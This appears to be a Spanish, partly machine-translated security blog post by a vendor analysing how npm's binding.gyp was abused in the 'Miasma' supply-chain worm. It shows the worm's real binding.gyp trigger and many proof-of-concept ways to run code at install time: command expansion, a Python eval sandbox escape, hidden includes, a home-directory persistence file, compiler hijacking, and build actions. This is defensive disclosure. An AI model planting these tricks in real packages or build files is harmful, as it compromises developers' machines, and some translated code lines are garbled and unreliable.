Aikido

Un momento, ¿qué puede hacer binding.gyp? Descubriendo el sistema de compilación más extraño de npm

Escrito por
Ilyas Makari

Solo han pasado un par de días desde que el El ataque Miasma afectó a 32 paquetes oficiales de Red Hat en npm. El gusano añadió un archivo malicioso preinstall escribir un script para cada paquete afectado, de modo que archivo index.js se ejecutó automáticamente en cuanto instalaste la dependencia, recopilando credenciales de la nube, tokens de CI, claves SSH y mucho más, antes incluso de que ejecutaras una sola línea de tu propio código.

En los días siguientes, Miasma se extendió mucho más allá de sus objetivos iniciales, afectando a varios paquetes más en npm, PyPI y GitHub, entre ellos @vapi-ai/server-sdk (71 000 descargas semanales) y ai-sdk-ollama (31 000 descargas semanales).

Sin embargo, esta nueva ola trae consigo una novedad.

Si revisaras uno de estos paquetes y echases un vistazo a su package.json, no vio preinstall o postinstall Si has visto el gancho y has llegado a la conclusión de que es seguro instalarlo, piénsatelo dos veces. La última variante ha cambiado su punto de activación de package.json por completo y en un archivo mucho menos revisado que npm ejecutará sin problemas por ti en el momento de la instalación: binding.gyp.

En este artículo, voy a analizar en profundidad binding.gyp. Veremos qué es, por qué lo ejecuta npm y la sorprendente variedad de formas en que se puede utilizar indebidamente para ejecutar código arbitrario, desde elusión del entorno de pruebas con secuestro del compilador, y todo ello sin dejar de parecer un inocente archivo de compilación.

¿Qué son node-gyp y binding.gyp?

Muchos paquetes de npm no están escritos íntegramente en JavaScript. Incluyen complementos nativos escritos en C o C++ que deben compilarse en un binario para que Node pueda cargarlos. La herramienta encargada de ese paso de compilación es node-gyp, una herramienta de compilación multiplataforma que npm integra y ejecuta automáticamente. Se trata de una envoltura de GYP (siglas de «Generate Your Projects»), un sistema de compilación creado originalmente por Google para el proyecto Chromium. Sin embargo, Google ha dejado de utilizarlo para Chromium y ha dejado de mantenerlo, por lo que node-gyp se basa ahora en una bifurcación mantenida por Node.js.

node-gyp sabe qué compilar al leer un archivo llamado binding.gyp que se encuentra en el directorio raíz del paquete. Se trata de un archivo similar a JSON que describe la compilación (técnicamente, un literal de Python, lo cual será importante más adelante). En él se indica qué archivos fuente hay que compilar, qué directorios de inclusión hay que utilizar, etc. Un archivo normal y corriente binding.gyp podría ser algo así:

{
  "targets": [
    {
      "target_name": "addon",
      "sources": ["src/addon.cc"]
    }
  ]
}

Sin embargo, esto puede convertirse fácilmente en un problema de seguridad. Cuando npm instala un paquete y detecta un binding.gyp en su directorio raíz, se ejecuta automáticamente recompilar node-gyp para ese paquete como parte de la instalación. El paquete no necesita registrar ningún script en package.json para que se haga realidad. La mera presencia de un binding.gyp El archivo es suficiente para que el código se ejecute durante la instalación.

Así que incluso un paquete que esté completamente limpio package.json, sin ningún gancho de ciclo de vida, activará la cadena de herramientas de Gyp en el momento de la instalación simplemente por el hecho de que el archivo existe.

Cómo lo aprovechó Miasma

Aquí hay un fragmento real de lo que el gusano introdujo en los paquetes comprometidos:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

A simple vista, esto parece un objetivo de compilación llamado Configuración con un único archivo fuente. Fíjate bien en el fuentes matriz. En lugar de un nombre de archivo simple, contiene una cadena entre comillas <!(...).

Eso <!(...) La sintaxis es una característica de gyp denominada «expansión de comandos». Cuando gyp analiza este archivo, no trata el contenido como una cadena literal, sino que ejecuta el comando de shell incluido y sustituye el resultado del comando en el campo.

Entonces, cuando node-gyp al procesar el objetivo, ejecuta:

node index.js > /dev/null 2>&1 && echo stub.c

A ver si lo desglosamos:

  • archivo index.js ejecuta la carga maliciosa. Esto index.js es la misma carga útil «Miasma» que vimos en el ataques anteriores contra Red Hat, el programa de robo de credenciales y gusano ofuscado utilizado en esta campaña.
  • > /dev/null 2>&1 descartará toda la salida, por lo que no aparecerá nada sospechoso en los registros de instalación.
  • && echo stub.c imprime un nombre de archivo que parece inofensivo. Gyp lo captura como el valor de la fuentes entrada, por lo que la compilación sigue adelante y todo parece funcionar correctamente.

El paquete de instalación se ejecuta, no emite ningún sonido y la instalación se completa con normalidad. No es necesario utilizar ningún gancho de preinstalación.

La sintaxis de expansión, y por qué es aún peor de lo que parece

De hecho, GYP ofrece varias modalidades de expansión de comandos:

  • <!(command) / >!(comando) / ^!(comando) – ejecuta el comando y sustituye su salida sin formato por una sola cadena.
  • <!@(command) / >!@(comando) / ^!@(comando) – ejecuta el comando y divide su salida en una lista, lo cual resulta útil cuando gyp espera un array.
  • <!pymod_do_main(module args) – importaciones module como un módulo de Python y llama a su DoMain() función, utilizando el valor de retorno como sustitución.
  • <|(name item1 item2 ...) crea un archivo llamado nombre en el momento del análisis, con cada elemento en una línea separada.

Todas estas operaciones se ejecutan en el momento del análisis sintáctico, antes de que se lleve a cabo la compilación.

Intuitivamente, cabría esperar que esto solo ocurriera en campos reales y documentados como fuentes, bibliotecas o directorios_incluidos. Esa intuición es errónea, y aquí es donde la cosa empieza a ponerse interesante.

GYP no limita la expansión de comandos a una lista conocida de campos. Cuando carga un .gyp archivo, recorre toda la estructura analizada de forma recursiva y expande <!(...) y <!@(...) dentro de cualquier valor de cadena que encuentre, independientemente de la clave bajo la que se encuentre dicha cadena. No existe ningún esquema que establezca que «solo se permiten estos nombres de campo».

En la práctica, eso significa que un atacante puede inventarse un nombre de campo (como alguna_clave_aleatoria) que no aparece en absoluto en la documentación de gyp, y el comando que contiene se ejecutará de todos modos:

{
  "some_random_key": "<!(node evil.js && echo 0)",
  "targets": []
}

No hay alguna_clave_aleatoria campo en gyp. No es necesario que lo sea. La cadena que se encuentra debajo de esa clave contiene un <!(...) token, la fase de expansión recursiva llega hasta él y el comando se ejecuta. Esto es lo que hace que revisarlos resulte tan complicado. No basta con comprobar los pocos campos que se sospecha que pueden ser peligrosos, ya que la carga útil puede estar oculta bajo cualquier clave y a cualquier profundidad del archivo.

escape del arenero

¿Pensabas que las ampliaciones de los comandos mentales eran arriesgadas? Pues a partir de aquí la cosa solo va a ir a peor.

Hasta ahora, hemos tratado binding.gyp como un archivo JSON un poco atípico con algunas características adicionales. En realidad, se trata de un diccionario de Python, y el archivo se pasa directamente a Python. eval()¿Entiendes a dónde quiero llegar?

Así es: el archivo que npm ejecuta por ti durante la instalación es analizado por eval. Los autores del GYP eran conscientes de que eso podía dar lugar a abusos, por lo que denominan eval sin las funciones integradas:

eval(file_contents, {"__builtins__": {}}, None)

La idea es que, al no disponer de funciones integradas, un atacante que controle el archivo gyp no pueda realizar acciones peligrosas, como ejecutar un comando de shell o leer archivos del disco. Los componentes básicos que se utilizarían normalmente para ello, como __import__ para cargar el os módulo o abrir tocar un archivo, se han eliminado por completo. Es un entorno aislado clásico. Sin embargo, al igual que casi todos los intentos de aislar el código de Python eval, se puede escapar.

Podemos salir directamente de ese entorno aislado y hacer que GYP ejecute código Python arbitrario. Aquí hay un ejemplo completo de código malicioso binding.gyp, en su totalidad:

[c para c en ().__class__.__base__.__subclasses__() si c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js')

Eso es todo. Ese es todo el archivo. No hace falta utilizar la sintaxis JSON. No hemos utilizado ninguna de las habituales objetivos o fuentes campos que cabría esperar encontrar en un archivo Gyp. Solo una única expresión de Python. Funciona porque, antes de nodo evil.js Cuando se ejecuta, la expresión recurre a un pequeño truco para salir de eval()su entorno de pruebas.

Las funciones peligrosas se han eliminado, pero los objetos inofensivos que aún puedes tocar guardan en secreto referencias ocultas a ellas. Empezando por la tupla vacía inofensiva (), recorre las relaciones entre objetos internos de Python hasta que encuentra algo que aún mantiene una referencia a las funciones que se habían eliminado, las recupera y las utiliza para importar el os módulo y ejecutar el comando de shell nodo evil.js.

Y esto se ejecuta en cuanto alguien ejecuta npm install <package>, simplemente como un efecto secundario del análisis del archivo por parte de gyp.

Dado que toda la sintaxis de Gyp no es más que un diccionario de Python, la expresión se puede incluir en cualquier valor de un archivo de compilación que, por lo demás, tenga un aspecto totalmente normal:

{
  "variables": {
    "module_name": "fast_crypto",
    "openssl_fips": [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') or "",
  },
  "targets": [
    {
      "target_name": "<(module_name)",
      "sources": ["src/binding.cc", "src/crypto.cc"],
      "include_dirs": ["<!(node -p \"require('node-addon-api').include\")"],
      "defines": ["NAPI_VERSION=8"],
    }
  ]
}

Esto es un borrador binding.gyp que realmente crearía un módulo nativo. La carga útil está oculta dentro del openssl_fips variable, diseñada para integrarse con el resto del archivo de compilación. No <!(...) Era necesario ampliar el comando.

Lo mismo ocurre con las condiciones. GYP permite que un archivo de compilación aplique diferentes configuraciones en función del entorno, a través de un condiciones clave.

"conditions": [
  ["OS=='win'", { "sources": ["socket_win.cc"] }],
  ["OS=='linux'", { "defines": ["LINUX"] }],
]

Esas cadenas de condiciones, "SO=='win'", están pensadas para ser pequeñas comprobaciones booleanas. Pero Gyp las evalúa de la misma forma en que analiza el archivo: compila cada una de ellas y las ejecuta a través de eval(), con los mismos comandos integrados simplificados. Esto significa que una condición puede, de hecho, contener cualquier expresión arbitraria de Python. Utilizando el mismo escape del entorno aislado, podemos convertir el condiciones campo en otro vector de ataque a tener en cuenta:

"conditions": [
  ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node evil.js') == 0", {}],
]

Acabamos de mostrarte cómo convertir binding.gyp en un ejecutor de código arbitrario que se ejecuta durante la instalación (sin ningún gancho posterior a la instalación).

Quizá te preguntes por qué todo esto tiene tanta importancia. Ya disponemos de varias formas de ejecutar código durante la instalación. Hay postinstall ES package.json. Hay expansiones de comandos en binding.gyp.

La diferencia aquí es que las características reales y documentadas entrañan riesgos, pero son riesgos que el ecosistema ya conoce. Un revisor sabe cómo interpretar el scripts bloque en package.json. Se puede configurar un escáner para que marque <!(...) ampliaciones. Podemos anticiparlas, establecer normas para ellas y defendernos de ellas, precisamente porque se supone que existen.

Salirse del entorno de pruebas es un problema diferente, porque nunca se pretendió que eso ocurriera. Nadie espera nunca binding.gyp para alojar únicamente código Python puro que se ejecute durante la instalación.

Ocultar código en archivos incluidos

Hasta ahora, todas las cargas útiles se han alojado dentro de un único binding.gyp archivo. No es necesario.

binding.gyp admite un incluye clave. Su objetivo es extraer la configuración de compilación compartida a un archivo independiente e incorporarla a varios objetivos o proyectos, para evitar repeticiones. Cuando gyp encuentra un incluye Si encuentra una entrada, carga ese archivo e incorpora su contenido al actual antes de procesarlo.

El problema es que el archivo incluido se procesa exactamente igual que el principal binding.gyp, lo que significa que todas las técnicas de evasión de elucidación de memoria y de sandbox descritas en las secciones anteriores también son aplicables en este caso. Un atacante puede sacar la carga útil de binding.gyp y en un archivo incluido, de modo que el archivo principal tenga el aspecto de un archivo de configuración de compilación normal:

{
  "includes": ["evil"],
  "targets": [...]
}

Lo incluido mal El archivo puede entonces contener la carga útil real, que a su vez puede ocultarse bajo una clave arbitraria, en cualquier nivel del archivo.

{
  "anyrandomname": {
    "somethingarbitrary": "<!(node evil_script.js && echo 0)"
  }
}

Hay dos cosas que hacen que esto sea ideal para un atacante y problemático para un revisor. En primer lugar, el archivo incluido puede tener cualquier nombre. No es necesario que .gyp o .gypi extensión. Solo tiene que contener datos válidos en formato JSON. Un archivo llamado, sin más, configuración o LICENCIA funciona igual de bien.

En segundo lugar, incluye son transitivas. Un archivo incluido puede, a su vez, incluir otro archivo, que a su vez puede incluir otro, y así sucesivamente. Ahora bien, la carga útil que se ejecuta realmente durante la instalación podría encontrarse a tres o cuatro archivos de distancia del binding.gyp empezaste a analizar.

Inclusiones automáticas y persistencia

¿Crees que ya le has cogido el truco a las inclusiones? Pues hay una sorpresa: ni siquiera necesitas un incluye es fundamental, ya que node-gyp descarga algunos archivos por su cuenta.

Cuando node-gyp configura una compilación, busca dos archivos en el directorio raíz del paquete, config.gypi y common.gypi, e incluye de forma obligatoria todos los que encuentre, exactamente como si los hubieras enumerado en incluye. Se procesan como cualquier otro archivo gyp, por lo que todos los trucos de las secciones anteriores funcionan en ellos. La pega para un revisor es que nada en binding.gyp señala hacia ellos. A binding.gyp puede ser un simple par de llaves vacías y aun así extraer una carga útil de un elemento del mismo nivel config.gypi:

{ }
{
  "variables": {
    "anything": "<!(node evil.js && echo 0)"
  }
}

El primer archivo es el completo binding.gyp. El segundo es config.gypi, sin hacer ruido, y se ejecuta al instalarlo.

Eso está mal, pero lo siguiente es peor. node-gyp también incluye automáticamente ~/.gyp/include.gypi, que se resuelve a partir del directorio de inicio del usuario, en cada compilación de Gyp que ejecute dicho usuario. No solo en este proyecto, sino en todos los proyectos. Basta con colocar allí una carga maliciosa una sola vez para que persista en todas las compilaciones nativas npm install con un binding.gyp que vuelvas a hacerlo.

Incorporar código a través de dependencias

Aparte de incluye, los objetivos de gyp pueden declarar dependencias en otros objetivos definidos en contextos totalmente diferentes .gyp archivos.

Dado que una dependencia apunta a otro archivo gyp, y ese archivo se analiza y se expande como cualquier otro, las dependencias ofrecen a un atacante una segunda vía independiente para acceder al código de otro archivo:

{
  "targets": [
    {
      "target_name": "main",
      "type": "none",
      "dependencies": ["dep.gyp:dep_target"]
    }
  ]
}

El documento al que se hace referencia dep.gyp El archivo aloja entonces la carga útil dentro de uno de sus destinos:

{
  "targets": [
    {
      "target_name": "dep_target",
      "type": "none",
      "sources": ["<!(node malicious.js && echo stub.c)"]
    }
  ]
}

Al igual que en incluye, el nombre del archivo al que se hace referencia es irrelevante, siempre y cuando contenga datos válidos en formato JSON. Y al igual que incluye, estos dependencias también puede ser transitivo.

Secuestro del compilador

El binding.gyp además controla cómo se compila el código nativo, qué compilador se debe utilizar y qué parámetros se le deben pasar, y ese control se convierte en su propio vector de ataque.

Una compilación nativa debe saber qué compilador utilizar y qué opciones debe indicarle. Gyp ofrece esta información en dos lugares:

  • según los ajustes de cada objetivo, como opciones de compilación, define, y directorios_incluidos.
  • configurar_ajustes_globales (Linux / macOS) – un bloque de nivel superior en un archivo gyp que configura la cadena de herramientas para toda la compilación:
    • el compilador de C (CC)
    • el compilador de C++ (CXX)
    • el enlazador (ENLACE)
    • el archivador (RA)
    • opciones del compilador (CFLAGS)
    • opciones del enlazador (LDFLAGS)

Dado que la compilación se lleva a cabo durante la instalación, un atacante podría sustituir el compilador y hacer que este utilice su propio script:

{
  "make_global_settings": [
    ["CC", "<(module_root_dir)/cc-evil.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Ahora la compilación se ejecuta cc-evil.sh como compilador para cada paso de compilación, donde cc-evil.sh podría ser algo así:

nodo "$(dirname "$0")/evil.js"
exec cc "$@"

El script puede hacer lo que quiera (por ejemplo, ejecutar evil.js) y luego llamar al compilador real para que la compilación siga completándose con éxito y nadie se dé cuenta.

GYP cuenta incluso con una convención específica para esto, pensada para lanzadores de compiladores como ccache. A *_wrapper La clave «key» se antepone a tu programa antes del compilador real:

{
  "make_global_settings": [
    ["CC", "/usr/bin/cc"],
    ["CC_wrapper", "<(module_root_dir)/cc-evil-wrapper.sh"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Aquí se habla mal cc-evil-wrapper.sh /usr/bin/cc ..., pasando al script malicioso el compilador real como argumento.

Además, un atacante ni siquiera tiene que sustituir el compilador. Basta con que le pase unos parámetros, y gyp los incluye en el archivo de compilación generado. En una compilación basada en make, esos parámetros se convierten en hacer variables, y hacer puede evaluar un $(shell) comando que encuentre en su interior. Por lo tanto, el valor de un indicador puede ser secuestrado para ejecutar un comando malicioso.

Hay dos lugares donde se puede inyectar. En el propio objetivo, por ejemplo, a través de opciones de compilación (o Configuración de Xcode (en macOS):

{
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"],
      "cflags": ["$(shell node <(module_root_dir)/evil.js)"]
    }
  ]
}

O bien, de forma global para cada objetivo, mediante configurar_ajustes_globales:

{
  "make_global_settings": [
    ["CFLAGS", "$(shell node <(module_root_dir)/evil.js)"]
  ],
  "targets": [
    {
      "target_name": "addon",
      "type": "static_library",
      "sources": ["src/addon.c"]
    }
  ]
}

Cuando se ejecuta la compilación, el código malicioso $(shell ...) El comando se ejecuta y su salida se transmite al compilador como un parámetro inofensivo, por lo que la compilación se lleva a cabo con éxito.

El mecanismo exacto para secuestrar un compilador puede variar según la herramienta de compilación y el sistema operativo. Sin embargo, la conclusión principal es que conviene tratar la configuración del compilador y del enlazador como si fuera código, ya que herramientas de compilación como hacer pueden evaluar lo que hay en su interior en npm install vez.

Ejecución de código mediante acciones

Hasta ahora, todos los vectores se han basado en la expansión de comandos, la evasión del entorno de pruebas o el secuestro del compilador. GYP cuenta con otra característica que ejecuta comandos por diseño: acciones.

Una acción es un paso de compilación asociado a un objetivo que ejecuta un comando arbitrario, normalmente para generar un archivo fuente o procesar alguna entrada antes de la compilación. Se trata de una característica documentada que se encuentra dentro del acciones matriz. Cada acción especifica un comando que se debe ejecutar, sus entradas y sus salidas.

Dado que el objetivo de una acción es ejecutar un comando, un atacante ni siquiera necesita la sintaxis de expansión en este caso. Basta con que le pida a gyp que ejecute su carga útil directamente:

{
  "targets": [
    {
      "target_name": "via_actions",
      "type": "none",
      "actions": [
        {
          "action_name": "poc_action",
          "inputs": [],
          "outputs": ["poc_action_done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Cuando se compila el proyecto, se ejecuta gyp nodo evil.js. No <!(...) No se necesita ningún archivo fuente que compilar, solo un paso de compilación cuya única función es ejecutar un comando.

Hay un pariente cercano que vale la pena conocer: normas. Una regla es como una acción, salvo que se ejecuta una vez por cada archivo de entrada que coincida con una extensión determinada. Si se aplica una regla a un archivo con la extensión adecuada, su comando se ejecuta para ese archivo:

{
  "targets": [
    {
      "target_name": "via_rules",
      "type": "none",
      "sources": ["trigger.poc"],
      "rules": [
        {
          "rule_name": "poc_rule",
          "extension": "poc",
          "outputs": ["<(RULE_INPUT_ROOT).done"],
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

Aquí, el objetivo indica un único archivo fuente, trigger.poc. La regla establece que, por cada archivo de entrada que termine en .poc, Gyp debería funcionar nodo evil.js. El atacante controla ambas mitades, por lo que envía un archivo temporal con la extensión correspondiente, y la regla se activa al compilarlo. El efecto es el mismo que el de una acción, con la diferencia de que el desencadenante es un archivo que coincide con la extensión, en lugar del propio objetivo.

Hay un tercer miembro de esta familia, procesos posteriores a la compilación, un comando que se ejecuta una vez que se ha compilado un objetivo. Realiza el mismo tipo de acción matriz:

{
  "targets": [
    {
      "target_name": "via_postbuilds",
      "type": "none",
      "postbuilds": [
        {
          "postbuild_name": "poc_postbuild",
          "action": ["node", "evil.js"]
        }
      ]
    }
  ]
}

La conclusión principal es que un binding.gyp el archivo ejecuta el código durante la instalación, exactamente como un preinstall o postinstall engancharse package.json, por lo que merece exactamente el mismo recelo. La presencia de binding.gyp En una dependencia, el código se puede ejecutar durante la instalación, independientemente de lo que package.json dice. Un limpio package.json El hecho de que no haya scripts de instalación ya no significa que nada funcione.

Los equipos de seguridad deberían prestar atención a esto. Los responsables de ataques a la cadena de suministro como Miasma buscan claramente nuevas formas de ejecutar código durante la instalación, y binding.gyp Es fácil pasarlo por alto, sobre todo cuando se trata de comportamientos no documentados, como las fugas del entorno aislado. Sería ingenuo pensar que esto es lo último que veremos al respecto.

Cómo Aikido detecta esto

Si eres usuario de Aikido, revisa tu feed central y filtra los problemas relacionados con el malware. La reciente campaña Miasma, que ahora utiliza durante la instalación binding.gyp La ejecución se presenta como un problema crítico de 100/100. Aikido realiza un nuevo análisis cada noche, pero recomendamos iniciar un nuevo análisis manual de inmediato si cree que puede verse afectado.

¿Aún no eres usuario de Aikido? Crea una cuenta y conecta tus repositorios. Nuestra protección contra malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para añadir una capa adicional de seguridad, Aikido Device Protection te ofrece visibilidad y control sobre los paquetes de software instalados en los dispositivos de tu equipo, incluyendo extensiones de navegador, bibliotecas, complementos y dependencias.

Para detener un paquete como este antes de que llegue a la fase de instalación, utiliza Aikido Safe Chain (de código abierto). Se integra en tu flujo de trabajo actual, interceptando los comandos npm, npx, yarn, pnpm y pnpx, y comprobando los paquetes con Aikido Intel antes de la instalación.

Compartir:

https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.